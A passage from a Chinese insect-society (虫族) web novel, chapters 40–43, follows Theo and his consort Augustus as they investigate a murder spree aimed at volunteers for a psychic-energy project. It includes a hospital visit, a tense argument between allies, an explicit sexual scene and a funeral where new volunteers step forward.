“我收到了很多消息。来自各个势力的虫都在问,想知道关于这次针对性绑架谋杀的看法。他们这是在试探我的态度。”奥古斯特头也没抬,“公爵也特地来问了,他想知道雄虫的精神力能源化项目还能不能继续。” “你怎么答复他的?” “我还没有回。”奥古斯特看向自己的雄主,“我想等你的专业报告。” “如果你说可以继续,那就继续。” “这恐怕不是我一个虫说了能算的,我得问一下汉斯的意见。”西奥有些烦躁地挠挠头,“我自己接手也行。但是如果汉斯不在,我又没有恢复记忆,恐怕进度会非常非常慢。” “你觉得公爵能接受这个吗?他会不会改变主意,反对这项法案?” 奥古斯特沉吟片刻,“说不好。” “我们尽力而为。” 但西奥仍然感觉有些沮丧,他知道奥古斯特为了这项法案花费了多少心理,“抱歉,我没能帮上忙。” “你在说什么?”奥古斯特起身,来到西奥身后,行动之间,右腿带着一丝微不可察的迟缓,“你的存在,就已经是最大的帮助了。” “我有那么厉害吗?”西奥仰头,着看他的时候露出一丝苦笑。一只手下意识抚摸着雌君搭在椅背上的手腕和小臂。 “当然。头还疼吗?”奥古斯特握住了他的手。 “哎,你要是不提,可能已经不疼了。”过于专注的工作,的确有助于忘却身.体的疼痛。现在被奥古斯特提起,额角的跳痛顿时明显起来。 西奥偏头,靠在雌君手臂上,轻轻蹭了蹭。 “要不要吃止疼药,”奥古斯特问,“或者先吃晚饭?” 这一整天,他们几乎没时间吃什么东西。只在中途喝了几杯能够快速补充能量的营养液。那些小甜水可远称不上正经食物。 西奥的肚子叫了几声。他的确也饿了。 但紧接着又想起来…… “通常都是汉斯帮我订购晚餐,如果我还在办公室的话。”西奥有些低落,他仍旧觉得汉斯受伤,是他的责任,“也不知道他现在怎么样了……” “医生说伤情已经稳定了。想必很快就能醒来。”奥古斯特安慰道,“到时候,说不定能从他那里得到一些关于凶手的信息。” “你觉得会是谁呢?”西奥问,“萨迦说,绑架、破坏、谋杀,几乎是一连串下来完成的,非常快速,无缝衔接。说明凶手显然不是一个虫,而是好几拨,甚至是个训练有素的组织也说不定。” 奥古斯特摇摇头,“现在证据太少,下结论为时尚早。” “但说到底,有动机的也就那些虫。我只是不太明白,为什么要选择这种方式……” 正说着,办公室的门被敲响了。 进来的虫是诺亚,“陛下,西奥阁下。” “萨迦上将刚从医院传来消息,说汉斯已经醒了。你们要去看看吗?” 十分钟后,西奥和奥古斯特一同抵达了汉斯所在的医院。商量之后,还是西奥一个虫进入了病房。 房间内,汉斯正半躺在病床上,他脸色苍白,颧骨和额头上有几处淤青和伤口,嘴唇破了,脖子上还有清晰的勒痕。 他的右手手腕处缠着厚厚的纱布,曾经写字、做实验的灵巧的右手,已经不见了。 西奥看了,顿时觉得心里一痛,“汉斯……” 但他刚开口,就被汉斯着急地打断了,“院长,求求你,不要停止这个项目!” “什么?” “我是说,我想继续做这个项目,求您不要停掉!” 这个反应是西奥没有料到的,“你现在受了伤,先养伤比较重要。至于项目的事情,以后再说。” 但汉斯只是摇头,眼含泪水,“我已经听救我的萨迦上将说了,我知道研究院也遭到了入侵,我也知道参与实验的雄虫都死了,但是……” “我没有给他们名单。他们打我,就是想从我这里拿到志愿者的名字和地址,但我没有给他们,我真的没有给……” “我知道,我知道……”西奥握住他剩下的那只手,安慰道,“我相信你。” “但是没用,对吗?他们还是找到了,还是下手了,我还是没能保护任何虫……”说到这里的时候,汉斯已经哽咽到声音断续模糊,“他们是信任我,才参加实验的……” “这都是我的错……”汉斯哭着说。 西奥咬了咬牙,“这不是你的错。这是凶手的错。” “相信我,我们会抓到他们,让他们付出代价的。” “但是这个项目还是要没了,对吗……出了这种事情,还有哪个雄虫胆敢继续参与呢……”汉斯看起来绝望又无助,“但是,但是……” “我会重新制造一个新的仪器。我会、我会去求认识的雄虫,我可以不要工资,我可以拿我自己的钱来付给参与的志愿者……” “我还是想继续做下去,您能不要砍掉这个项目吗?求求您,能再给我一个机会吗……” 其实在抵达医院之前,西奥设想过无数的场景。他心疼汉斯,但是也认为这个瘦小的亚雌会就此吓怕了胆子,留下后遗症,从此退缩不前。他不会怪他,他可以理解。但没想到,事实跟他预想的完全相反。 “汉斯,你确定,还要继续吗?”如果汉斯愿意继续,那或许这个项目还有机会,或许他们还能说服公爵。这其实正是西奥想要的,但是,“对方这么丧心病狂,或许还会试图伤害你……” 汉斯用手背蹭掉泪水,苍白的脸上眼睛瞪得大大的,湿湿的,却透出一股子坚毅的劲儿来,“我不怕!” 西奥从未想过,自己瘦小的助手身体里居然住着这么坚韧的灵魂,“你现在失去了一只手,可能会有很多不方便……” “我可以克服!我可以装个机械手,或者锻炼自己的左手,总之,都会有办法的!只要您给我这个机会,给我资金,给我场地,我一定给您成果!” 西奥沉默片刻,“汉斯,我能问你个问题吗?” “为什么,你对这个项目这么执着呢?”这已经远超过了对于事业的纯粹热爱。一个项目,值得付出这么多吗? “院长,您知道阿尼亚号吗?” 好像有点耳熟,但一时想不起。于是西奥摇摇头。 “那是一艘大型虫体化星舰。我的雌父、我的两个雌虫哥哥,还有一个雌虫弟弟,都在上面。他们不是自愿上去的,我向您保证!” “等我再次看到他们的时候,他们已经变成了一块块冰冷的电池。你知道吗?为了减少体积,这些雌虫都会被切去四肢,方便存放。所以等我再次见到他们的时候,他们都变得……”汉斯哽咽了一下,“变得好轻、好小啊……” “我的雌父,两米多高的军雌,但就连我也能轻松抱起来。”汉斯伸出双臂,像是在捧着什么。 然后又缓慢放下,“我知道那项法案,三年前就有虫提过了。我知道那项法案能阻止雌虫被做成电池,我知道自己在做什么,我知道我要承担风险。我一直都知道的……” 汉斯说:“我只是想,如果我能继续做下去,那帝国是不是就不会出现另一个阿尼亚号呢?” “不会再有其他的虫,因此失去自己的雌父、兄弟、虫崽。” 这是西奥未曾知晓的过往。他从来没有想过,一向爱笑的汉斯,原来也藏着这么深的伤痛。 已经无需多问,也无需多说。 “好,我答应你。”西奥说。 “这个项目,我会继续支持。” “你的安全,我也会全权负责。” “这项法案,也一定会通过的!” 作者有话说: 汉斯是个好虫虫……《 》 40-50 第41章 第41章对峙[VIP] 虽然在汉斯面前一副信誓旦旦的模样, 但其实西奥心里也没有底。 他可以继续支持汉斯,保护汉斯的安全,但是法案……真的能通过吗? 他好像一时上头, 夸下了海口。 要是实现不了,让汉斯失望, 该如何是好呢?! 西奥又开始觉得头疼, 然后他看向身边异常冷静又可靠的雌君, 突然问:“你为什么想要通过这项法案?” “据我所知, 这项法案甚至并不是你最先提出来的。三年前就有虫提起过了, 你为什么选择了它?”西奥觉得, 万事万物都是有原因的, “是……为了政绩吗?” 但是虫皇也需要政绩吗? “你觉得是因为什么?”奥古斯特反问道。 “你不会也有亲近的虫,在阿尼亚号上面吧?”西奥小心翼翼问道。 “不,我没有。”奥古斯特否认了, “这项法案,本身就很好, 不是吗?” 正说着,弗雷德朝他们迎面走来, “我查到了第一起谋杀案的凶手。但是等我赶到的时候, 他已经自杀了。住所正在排查, 但是留下的东西不多,都被清理过了。” “对方显然是有备而来。要我猜,多半是雇凶杀虫, 用完就扔。” 这段时间,西奥、奥古斯特留在研究院, 弗雷德和诺亚则主要负责外出调查,跟踪这几起绑架、谋杀、和袭击的最新进展。 “所以从凶手这边, 可能很难有结果。但这些遇害的雄虫,没有一个是平民,他们的住所可不是能轻而易举就进入的。而且,能组织这么多虫同时行动,背后的虫其实也就只可能是那几个……” “不要提前做好假设。”奥古斯特打断了虫崽的推断,“会影响你的判断。” “是。”弗雷德点点头,“总之,我这边的进展目前就这些。待会要去跟进另一起,看看有没有什么额外收获。” 然后,趁着西奥离开去洗手间的功夫,弗雷德问:“我也一直想问,你执意推行这项法案,是不是因为这是哥哥提出的?” 奥古斯特没有回答。 “老爸,你能不能别像茅坑里的石头一样啊!”弗雷德忍不住吐槽,“说句话?” “注意你的用词。” 弗雷德一愣:“草!” 等通过部分不文明的口语释放了过去一整天的少许压力,弗雷德这才重新回到正题,“我还是觉得,这项法案有些太激进了。” “之前可没有哪次,闹到现在这个程度。是不是逼得太紧了?”弗雷德提议,“如果实在不行,可以缓一缓?” “即便是萨迦上位,那也一样可以推行新法案。” 奥古斯特认真听完,然后说,“我有自己的考量,别担心。” 弗雷德看起来很失望,似乎还想说什么,但奥古斯特已经先一步离开,结束了对话,“继续跟进下一个,如果有任何新的进展,及时通知我。” “是,陛下!”咬牙切齿,心不甘情不愿。 然后虫崽的声音从背后传来,“你的腿怎么了?!” 奥古斯特头也不回,“麻了。” 告别了弗雷德,但是另一个虫就没有这么好糊弄了。对面不远处的军雌,看到他后招了招手。 奥古斯特先是打开手环看了一眼,恰好接到了西奥的电话。 “好,一楼就有商店,你可以买点自己想吃的。” “不,你去吧。不用管我……好吧,那帮我带点吃的,随便什么都好。” “谢谢。你也是。” 通话结束,奥古斯特才看向迎面走来的军雌,“怎么样?” “我要一份塔克肉卷,双倍酱汁,谢谢。”萨迦笑着说。 “那你只能自己去买了。” 两个虫一起进了旁边的一间办公室。关门上锁,萨迦习惯性检查了一下整个房间,确保没有落入任何监控当中。 “所以,到底怎么样?” “都去过了,按照你说的。”萨迦拽过来一张椅子,率先坐下,“但是这种时候太敏感了。我最后只见到了公爵。” “我只能确认,这件事情不是卡利尼琴科公爵做的。” “公爵本来就不是我们的怀疑对象。” “是啊,但是能排除一下,总归是好的。” “比起这个,我还有另一个发现。”萨迦打开手环,调出一份文件,放大,“你看看这个。这是昨晚所有事情的具体时间表。” 萨迦的手指在一件又一件事情上移动,“我们一直以为,事情的顺序应该是这样的。先对汉斯进行绑架、刑讯,没有得到想要的名单和信息后,残忍切下了他的右手。” “下一步,带汉斯的手去精神力研究院,切断监控,袭击门卫,使用汉斯的指纹进入地下一层的实验室和顶层的办公室,毁坏仪器,拿到参与实验的志愿者名单。” “第三步,才是根据具体的名单,找到这些雄虫,绑架然后谋杀。” “但是我们其实只知道精神力研究院遇袭的具体时间,也就是那里的监控被切断的时间。至于汉斯被刑讯的具体时间,以及雄虫志愿者们被绑架的时间,我们都不清楚。” 奥古斯特立刻意识到了问题,“时间不对?” 萨迦点了点头,“我重新排查了一遍监控,然后终于在其中一个受害雄虫的家对面,一个反射镜面上,找到了绑架雄虫的具体时间和视频。” “猜猜怎么着?” “有多早?” “比研究院切断监控时间还要早。” 奥古斯特骂了一句脏话。 “所以时间完全不对。这三件事情,绑架刑讯汉斯,袭击精神力研究院,绑架谋杀志愿者。并不是线性发生的。” “要我说,这三件事情应该是同时发生,然后在一个小时内迅速结束。我们的对手,不管是谁,动作都很快,而且知道的很多。”萨迦说,“可能有点太多了。” “我猜,能够拿到志愿者名单信息的虫,应该不多吧?” “都是精神力研究院内部的,还有一些相关虫员。”奥古斯特已经在心里列了一个嫌犯名单,“我们内部出问题了。” “既然知道名单,还有什么必要去刑讯汉斯呢?是不是有点多此一举了?” “为了保住这个内鬼,我猜。”萨迦耸了耸肩,“我跟汉斯,这个小亚雌聊过,他很坚强,甚至堪比军雌了简直要。我不觉得他会有问题。” “哦对了,其实昨天半夜,不止发生了这三件事。”萨迦提醒道,“还有第四件事情。” 奥古斯特的目光立刻变得锐利,锁定了面前的第一军团长,“是什么?” “西奥收到的求救讯息。” “这件事情太小了,而且也不排除是汉斯自己做的,所以起初我们都没在意。但我今天特地问过他了,不是他做的。既然不是汉斯,那就只能是凶手。” “那么问题来了,为什么是西奥?以及,为什么是这个时间?”萨迦仰头,盯着依旧站在自己面前,双臂抱胸的奥古斯特,“你不会觉得,对方选择这个时间……选择阿弗的忌日,只是个巧合吧?” 奥古斯特下颌绷紧,没有回答。 “然后这又引出了另一个问题,你昨晚到底在做什么?” “我知道你在那个精神力治疗室里。但是里面具体有什么,你从来不说,所以我只能猜了。” “奥古斯特,我们都知道,能够杀死一个莫德神兵的,从来是不是来自外部的暴力,而是来自内部的创伤。” “所以我有一个大胆的猜测,这一切,围绕雄虫精神力能源化的项目造成的破坏,针对法案的威胁,在阿弗忌日这天把迟到的信息送进皇宫,我是说,有没有可能……” “这一切都是针对你呢?” 房内陷入了短暂的沉默。 “你的分析很有道理。”奥古斯特说,“但如果是针对我的,那就不必担心。” “嘶……”萨迦吸了一口气,“这句话,如果你三年前,三年零一天以前跟我说,可信度还比较高。” “顺便多问一句,你的腿怎么了?” “别用麻了这种废话来打发我,我不是弗雷德,我知道你的能力。正常来说,你可以用一把匕首把自己的腿扎穿,然后,在拔出来的一分钟内完全愈合,一丁点痕迹都不会留下。” “而且,在紧急的情况下,我们会选择先愈合表面。就好像是一个从里面烂掉的西瓜,外表看起来是好的,但里面已经乱成一团了。该死,这个方法还是我教会你的!” “我真的不用担心吗?我觉得我现在担心死了!” “你的担心是多余的。”奥古斯特声音平静,平静地有些过头。 “是吗,奥古?”萨迦也没想到,自己已经说到这个份上了,某个虫居然还能嘴硬。 “如果你的精神力丰沛充足,那应该不介意现在比划两下吧?” “来吧,来!”萨迦站起身,他甚至比奥古斯特还要更高一些,“抽出你的精神力丝线,跟我对撞两下,很快就知道这个房间里说谎的是谁了,不是吗?” “你tm的现在很不正常,你自己知道吗?!”萨迦质问,“西奥知道吗?!” “那你正常吗?”奥古斯特在对峙中不甘示弱,甚至把对方丢过来的刀子做成回旋镖又扔了回去,“昨天半夜,汉斯出事的时候,弗雷德打电话找你的帮忙的时候,你就在贝卡利街道附近不是吗?” “奥古……” 但萨迦没能阻止奥古斯特继续说下去,“准确来说,你在距离贝卡利街道只有一个街区的兰卡。因为在那里有无数漂亮的雄虫可以供你享用,因为不管有多少个雄主,你就是没办法戒掉它!” 萨迦脸上扯出一个难看的笑,“你真的要……” “然后唯一那次,临时标记让你怀了虫蛋,你在我面前撕开腹腔,把子宫生生扯出来撕碎了。就因为你太害怕!” “□□!奥古斯特!” 精神力凝成一支利箭,径直向奥古斯特射去! 叮!的一声,利箭被偏转方向,擦着奥古斯特耳边迅速散去。 就在这时,房门突然响了。把手被转动,但是因为上了锁,外面的虫进不来。 然后,西奥的声音在外面响起:“奥古斯特?萨迦?你们在里面吗?” “我买了吃的回来!” 奥古斯特看了对面的萨迦一眼,“我们都有自己的不正常,但这不代表我无法履行自己的职责。” “在这种时刻,我尤其需要你的帮助,可以吗?” 他屈起手肘,朝萨迦伸出了手。 萨迦深深地叹了一口气。 然后用力握住了那只手。 作者有话说: 想要评论 第42章 第42章需要[VIP] 晚饭是非常简单的三明治。他们没有在医院停留很久, 立刻返回了研究院。 在返回的路上,西奥问:“你们吵架了吗?” “你和萨迦。”在奥古斯特看过来的时候,西奥说, “在门外的时候,听到了那么一两句。” “萨迦听起来好像很生气。” “他有时候会这样, 但只是声音比较大。没什么好担心的。” “他确实很可靠。”西奥的声音听起来真情实意, “汉斯跟我说过了。那时候他一个虫在家里, 因为失血过多已经有些意识模糊了。幸好萨迦意识到情况不对, 当机立断冲了进去。” “要是再晚一会儿, 说不定汉斯就没了。” “他能成为第一军团长是靠自己的实力。”奥古斯特认可道。 “确实。后来还忙前忙后, 寻找那些雄虫志愿者的踪迹。昨天晚上, 基本都是他在外面帮忙。” 奥古斯特沉默片刻,“抱歉,我昨晚不在。这样的事, 以后绝对不会发生了。” “不,我不是……”西奥摇头, “我没有指责你、或者翻旧账的意思。” “我只是觉得,有时候会有点……看不透你。” “但还挺帅的, 像这样。”西奥又补充道, “有种……迷人的魅力。” “迷你吗?”奥古斯特问。 西奥笑了, 仰起头亲吻雌君的下巴,“当然。” “萨迦说,这次的事情应该是涉及到精神力研究院的内部员工。”短暂的放松和亲密过后, 还是要回归正事。 西奥点头,这点他也猜到了, “从精神力研究院的袭击来看,对方先是切断监控, 然后精准找到了实验室和汉斯的办公室。多半是有内应。” “不光是这样。袭击的这些虫,应该早就拿到了参与实验的志愿者名单。” 西奥不敢相信地看着他,“什么意思?” 然后,西奥就从奥古斯特这里,听到了那个错误的时间线和时间顺序。 西奥有点难受,“实验不算多么保密,但也绝对没有公开。能够接触到这份名单的虫,要么就在实验室工作,要么是研究院的高层。也就是说……” 西奥叹气,“干这事的,是自己虫。” 他能接受研究院出了问题,但不太能接受是自己信任的这部分同事出了问题。 “需要我来接手吗?”奥古斯特问。 “不用了。”西奥拒绝了,他是真的生气了,“我来查,今天至少能先列一份清单。估计不会太长。”好处是,至少缩小了怀疑范围。 除了这份清单,西奥还在马不停蹄写关于精神力项目的新计划,招募新的雄虫志愿者。没有汉斯,很多工作他现在都只能亲力亲为。然后寄希望于这份计划和可行性报告,能够争取到公爵的支持。 但奥古斯特看了几眼,立刻给他浇了一大盆冷水,“希望不大。” 西奥有点泄气,“算了,死马当活马医吧……” “就算法案没通过,也没关系。” “那不行!”西奥摇头,“我答应过汉斯的,就一定要做到!” 临走前,西奥顺便去了一趟楼下的大办公室。除了汉斯,其他参与这个项目的研究员都在同一个办公室内,虽然根据辞职报告来看,可能也没剩几个虫了。但他还是想来看一眼,跟自己的嫌疑名单进行一下对比。 结果没想到,遇到了一个意料之外的雄虫。 “布里奇?” “陛下!西奥阁下!”布里奇赶紧起身,冲他鞠躬。 “你为什么在这里?” “是萨迦上将把我从诺拉维亚上将那边要过来,说是您的意思?”布里奇的表情依旧小心翼翼,但至少看起来精神了不少。 哦对,确实是西奥自己把虫要过来的。之后就没管这件事情了。所以完全不知道布里奇被安排进了精神力能源化的项目里面。 也就是说,布里奇是有条件接触到那个志愿者名单的。同时,他还曾经是诺拉维亚的虫…… “院长,这个给您!” 布里奇把东西递过来的时候,西奥下意识往后退了半步,然后握住了自己身后雌君的手。在感受到奥古斯特的回握之后,才稍稍定心。 然后定睛一看,那是一份申请表。 准确来说,那是一份自愿参与雄虫精神力能源化的申请表。 “我、我很感激您帮我做的一切。但没什么东西可以报答您,只有精神力还算不错。我看到了您在网站上发布的实验志愿者招募,条件我都符合。如果您不介意的话,这是我的申请表。” 布里奇低着头,又把那份表格送了送。 西奥接过来,心情有些复杂,他没想到,自己招募到的第一个志愿者,会是只有两面之缘的布里奇。而自己,刚刚还在因为他的出身而有所怀疑。 “你知道昨晚发生的事情吗?有几个雄虫被杀了。” 布里奇点点头,双手绞紧,依旧弓着腰,“我知道的。今天办公室里大家都在讨论。” “被杀的雄虫,都是跟实验相关的志愿者。” “我、我知道。” “你不害怕吗?” “还是、有点怕的。”布里奇诚实回答,然后又指着申请表说,“但是您这上面也说了,会提供额外保护。” “我相信您。”布里奇终于抬头看了西奥一眼,然后又迅速低下去,“还有陛下。” “谢谢你,”西奥说,“这对我们的项目很重要。” 布里奇再次行礼,然后迅速离开了。像一只可爱的科特鼠。 “如果能在会议召开之前,募集到需要的雄虫,或许公爵那里还有机会。”返回皇宫的路上,奥古斯特说,“布里奇,那个平民雄虫,开了个好头。” “真的吗,你不会是在安慰我吧?” “正事从不说谎。当然雄虫的数量越多越好。最后参加与否都不重要,这代表一种号召力。” 西奥点点头,“好。几个雄虫志愿者而已,能有多难?” 然后把矛头对准了另一处,他眯了眯眼睛,“正事不说谎,私事就可以随便说谎了是吗?” “……我不是这个意思。” 回家后,西奥立刻就把自己摔进了柔软的大床上,甚至衣服都没换。 今天实在是太过漫长的一天。 西奥在床上躺了好几秒,然后才慢吞吞爬起来,换上宽松舒服的居家服。 “今晚不去治疗室了吧。好累……”西奥觉得自己可能挥不动鞭子了。刀更不行。 昨晚那一下,西奥现在还心有余悸。那时候他好像恍惚了一下,然后听到了什么声音…… 但记忆始终模糊。西奥努力向前回看,却依旧像隔着一层毛玻璃。他只能想起自己清醒过来的瞬间,看到刀尖没入奥古斯特胸口、鲜血大量涌出时,无法控制的恐惧。 他应该很长时间内,都不会拿刀了。 “好,但是……” 西奥偏头,看向自己的伴侣。 “我需要你的信息素。”奥古斯特说,“确切来说,是蛋需要。” 因为奥古斯特表现得过于寻常,而且腹部也一直没有隆起的迹象——依旧是让西奥十分羡慕的清晰腹肌,所以有时候,西奥会忘记了对方还是个孕夫的事实。 “啊,抱歉……”西奥依旧赖在床上不想起来,“每天都需要吗?” “这个阶段的,每天都需要至少五毫升,直到生产。” “还有多久?” “至少五个月。” 未来至少五个月的夜夜笙歌。西奥还挺期待,但他依旧没动。 “很累吗?”奥古斯特坐在他身边,问道。 “不是生理上的,主要是……”心累。 但西奥也知道,提供信息素是自己的责任。所以他纵容自己又多躺了两秒,还是坐了起来。 然后被雌君轻轻摁住了肩膀,“如果你实在太累,就算了。” “那你的,蛋的信息素怎么办?” “有存货。” 西奥有点困惑,“什么?” “你的信息素,装在试管里,储存在冰箱内。” 西奥笑了一下,他想到了之前听说到的,有的雌虫为了怀孕会用试管把信息素导入体内,“不可能吧?” 但奥古斯特没笑。 西奥的笑容消失了。“真有啊?!” “以防万一。”看到西奥的表情,奥古斯特又补充了一句,“不过我不喜欢用试管。太凉了。” “但如果你太累的话……” “我没事!”话都说到这个份上,西奥可不想被一根试管打败,“来!” “如果你太累的话,”奥古斯特重新提议,“可以坐在那里,什么都不做。” “我可以自助。” “用……”西奥的视线顺着奥古斯特的话语移到他的嘴唇上,那里干燥、柔软,他知道亲吻起来的触感。但此刻他才意识到,那里的大小似乎也刚刚好,不会太大,也不会太小。刚刚好可以装下…… 奥古斯特只是起身,来到西奥身前,握住他的膝盖,稍微分开,然后轻巧地在那个空隙处跪下。他的双手放在了雄虫的腰扣上,“可以吗?” “这样,我可以得到信息素,而你也不必太累。” 西奥吞咽了一下,没有说话。但是在奥古斯特拉开拉链的时候,也没有阻止。 作为军雌,奥古斯特手掌宽厚,指节粗大,有几个地方留下了长期使用武器的茧子。远算不上是柔软细腻的掌心。但在接触的时候…… “嘶……”西奥倒抽了一口气,手指抓紧了身侧的床单。 或许他不该反应这么大。 他又不是没有自己做.过,但是由奥古斯特做起来,尤其是俯视的角度,能够让他自上而下,看到隐藏在浓密睫毛后的一抹隐约深蓝,以及挺拔的鼻梁,还有那之后的阴影中,隐藏着的柔软双唇。 军雌看起来认真又专注。仿佛面对的不是自己的雄主,而是什么需要慎重对待和处理的武器。 奥古斯特真的会……? 其实他们之间做过的荒唐之事也不少了。每每情到浓时,便总忍耐不住。西奥也见识了不少雌君的熟练技巧。但每次,有一些新的技巧发生,他依旧会期待,依旧会……紧张。 奥古斯特低头,轻轻舔了一下。像是野兽试探食物的温度,小心的、轻柔的。 西奥跳了一下。然后下意识把手放在了雌君后脑上。紧接着,他停下了。 他不确定应该向下压,还是向后拽。 于是,那只手失去了掌控的作用。 于是,温柔的舔舐和亲吻得以继续。 奥古斯特显然不是第一次做这种事,他很懂得把握节奏,这里轻一些,那里重一些。偶尔急一些,偶尔缓一些。 像是一位熟练的乐手游刃有余地演奏自己的乐器。 是如何变得熟练的?是如何掌握技巧的? 西奥不知道,西奥想知道。 五指张开,插入发间,偶尔提供一些助力,偶尔提供一些阻力。 大概到一半的时候,雌虫喉咙里发出了微弱的声响,像是被噎住了一样。 “唔……”奥古斯特的动作顿住了。 而西奥,他没有允许奥古斯特的暂停,而是摁住雌君的后脑,然后——!!! 泪水自眼角溢出。 西奥替奥古斯特拭去眼泪,“好乖。” 被确定得需要的感觉,真的很好。 作者有话说: 作者已老实 第43章 第43章能力[VIP] “今日我们齐聚在这里, 在虫神面前,为纪念我们亲爱的兄弟亲虫和朋友,萨莉亚·密雪。他是一位虔诚的信徒, 一位真挚的朋友,一位认真的学者……” 这是一场葬礼, 主角是一位叫萨莉亚的年轻雄虫, 同时也是这次连环谋杀的受害者之一。他在精神力研究院工作, 曾经是西奥的学生之一。为了帮忙, 主动成为了能源化项目实验的一名志愿者。 他的生平最终浓缩成了短短的几句话。而西奥在失忆后, 还没有来得及跟他有任何交集。所以, 在西奥的记忆里, 他仅仅是个名字,是一张照片。 而从今往后,西奥再也没有机会了解他了。 一个年轻鲜活的生命, 就这样被残忍抹杀了。 每每想起,西奥仍旧感到愤怒。 那场集绑架、谋杀和袭击于一体的一连串恶性案件, 被正式命名为一二二一案。加上汉斯,总共十个受害者。其中九位都是雄虫。 案件已经过去整整三天了, 调查却一直没有丝毫进展。弗雷德忙得几乎都没时间回家了, 却还是一次次进入死胡同, 没什么切实有用的收获。 对方把尾巴扫得太干净了。或者说,手笔太大了。 因为没有证据,抓不到凶手, 愤怒也没有了安放之处。 大多数受害者,因为害怕, 或者其他原因,选择了不举办、或者不公开举办葬礼。只有萨莉亚的雄父, 大概因为是信徒的关系,还是坚决给自己的虫崽举办了这场公开葬礼。 当然,为了安全,皇家护卫队也在场。 这是一场悲伤又愤怒的葬礼。 除此之外,西奥招募新志愿者的计划,也非常不顺利。 因为恐惧和舆论的关系,除了布里奇和吉尔,他居然再也没能招募到第三个志愿者雄虫。稀少空缺的实验列表,让他的可行性计划报告也变得很难看。因为没有把握,便一直没有交给公爵看。 虽然奥古斯特没有直说,但西奥能从他的表情和语气中推测出,禁止非法精神力能源化的法案很大概率无法通过了。 好不甘心啊!事情难道就要这么结束了?凶手逍遥法外,而他们则一败涂地?! “西奥阁下,节哀顺便。”身后突然响起一声熟悉的问候。西奥回头一看,是瓦伦蒂亚。 “其实我已经不记得萨莉亚了。失忆之后,我都没有亲自见过他。”西奥顿了一下,“或许,这句话,你更该对他的家属说。” “但我们都知道这个案子背后针对的是谁。不管怎么说,对于研究院来说,这绝对是个重大的损失。您是院长,对您说这句非常合理。” 西奥看了他一眼,瓦伦蒂亚的神情看起来非常真诚,于是他也真诚道谢,“谢谢。” “我也同样听说,您的招募计划不太顺利。” 真是哪壶不开提哪壶,“你是代表公爵来提醒我的吗?” “不不,”瓦伦蒂亚赶紧摆手,“西奥阁下,您想多了。” “我仅代表我自己。当然,可能还有一部分光选会的雄虫。” “什么意思?” 瓦伦蒂亚叹气,“你的实验需要雄虫,而光选会里有很多雄虫。” 现在西奥明白了,但他还是不确定对方图什么。“你是认真的?” “请跟我来。” 两个虫暂时离开葬礼现场,到了旁边一处林荫小道。瓦伦蒂亚主动递过去一沓文件,西奥翻了一下,这里面有八个雄虫,加上先前的布里奇和吉尔,正好可以凑齐一组实验。 不仅如此,这里面还有几个熟悉的名字。 “布里奇从研究院带给我们的。都签过字了,有法律效益的。” 这种时候,愿意主动成为实验志愿者,说是雪中送炭也不为过。西奥迟疑着问:“这是……公爵的意思?” 瓦伦蒂亚摇摇头,“我说了,只代表我们自己。” “我知道您一直对光选会不怎么看得上,活动也只去了两次就没去了。但是,我们真的是想帮忙。”瓦伦蒂亚真诚说道,“布里奇的事情,他能获救……还没跟您说过谢谢。” 但西奥不以为意,“那只是一句话的事。” “对您来说,可能确实是。但对布里奇来说,您改变了他的命运。而且,哪怕只是一句话,也并非没有代价。” 西奥确实听到了一些流言,但他最近完全没时间搭理。便当成耳旁风略过了。 “西奥阁下,您身上有很多非常宝贵的东西,或许您自己没有意识到。” “宝贵到你们愿意冒生命危险吗?”西奥反问。 “呃……也不能那么说。我们也是经过评估才决定的。别的不说,我的哥哥是SS级别的军雌,我的雌父也是。我觉得自己的安全还是有保障的。而且会议马上要召开了,结束后就不会有任何危险了,换句话说,我们只是担这两天的风险,但可以换来您对我们的好印象。另外……” 身后传来另一个虫的脚步声。 “说服他们,可不是我一个虫能做到的。”瓦伦蒂亚抬手示意了一下。 西奥转身,看到了另一个熟虫,“……圣子?” 莱纳德向西奥微微欠身,“西奥院长,您叫我莱纳德就好。” 西奥当然知道莱纳德也在现场,因为在台上主持葬礼的就是他。作为虫神教的圣子,主持信徒的葬礼似乎也是他的工作之一。 不过,西奥对于这个圣子的感情很复杂。因为他跟虫再之间明显过于亲密的关系,西奥还尝试过寻找对方的黑料。但非常可惜的是,最终一无所获。 如果带着负面的预判,最终却只找到了正面的结果,说明对方的确是……无可挑剔。 也因为这样,西奥最终放弃了棒打小鸳鸯。不论如何,弗雷德的幸福才是最重要的。 虽然这对于一个父亲来说,仍然是非常沉重的打击就是了。 而且,还有那个特殊的精神力能力。辩谎。 原本要脱口而出的“很高兴见到你”,便被硬生生憋了回去。 万一被发现不是真话,岂不是会很尴尬? “关于实验志愿者的事情,是你帮忙的吗?”西奥问道。一个问题总比一个陈述更加安全。 “我听小弗说,您需要实验志愿者。就稍微问了一下大家的意见。如果能帮到您,当然最好。” 小弗,这个称呼从其他雄虫嘴里说出来,怎么这么不好听呢? 不过,刚才瓦伦蒂亚递过来的几份申请书里面,也确实有莱纳德的名字。 西奥似乎被自家虫崽的对象狠狠讨好了。而他……还挺吃这套。 算了,儿孙自有儿孙福。“谢谢,帮大忙了简直是!” “别听莱纳德说得这么谦虚。他其实非常有说服力。这里面的大部分雄虫,都是他来说服的。”瓦伦蒂亚在一旁帮腔,“怎么说呢?凡事只要圣子出场,就很少有虫能拒绝。” “我只是占了特殊精神力技能的便宜罢了。”莱纳德赶紧摆手。 西奥有点尴尬,“别谦虚了,我可是一个志愿者都没招募到。” “那或许跟您的精神力状况不佳有关。”莱纳德真诚道。 “就算我有精神力,又能做到什么?”命令奥古斯特吗?但他试过了,也一样做不到。就像系统之前嘲讽的,他只有科特鼠大军。 “您的精神力技能是目前已知的几种时间技能之一,预知。非常强大。” “什么?”他一直都未曾知晓的特殊能力,居然就这样,从一个不算特别亲近熟悉的虫口中听到了。 “您可以预知未来。” “不,我是说……”你为什么知道?这不应该是个秘密吗?“弗雷德告诉你的吗?” 莱纳德看起来相当困惑,“这又不是什么秘密。” “这种技能,一旦选择展示,就很难隐藏。”瓦伦蒂亚解释道,“您曾经参加过一次万众瞩目的谈判,然后精准预测了对方的每一句话。当时还是现场直播,可以说是举国轰动。” “很难猜不到技能。” 那为什么诺亚会说不知道呢? 西奥也没等,告别了来救场的这两位,等葬礼一结束,他就去找外围负责护卫的诺亚对质,“你之前说不知道我的精神力技能是什么,是不是唬我的?” 诺亚倒是面不改色,一点都没有被抓包的心虚,“您终于发现了?” 西奥感觉被嘲讽了,“不是,你怎么做到这么理直气壮的?你是不是应该解释一下,为什么骗我?!” 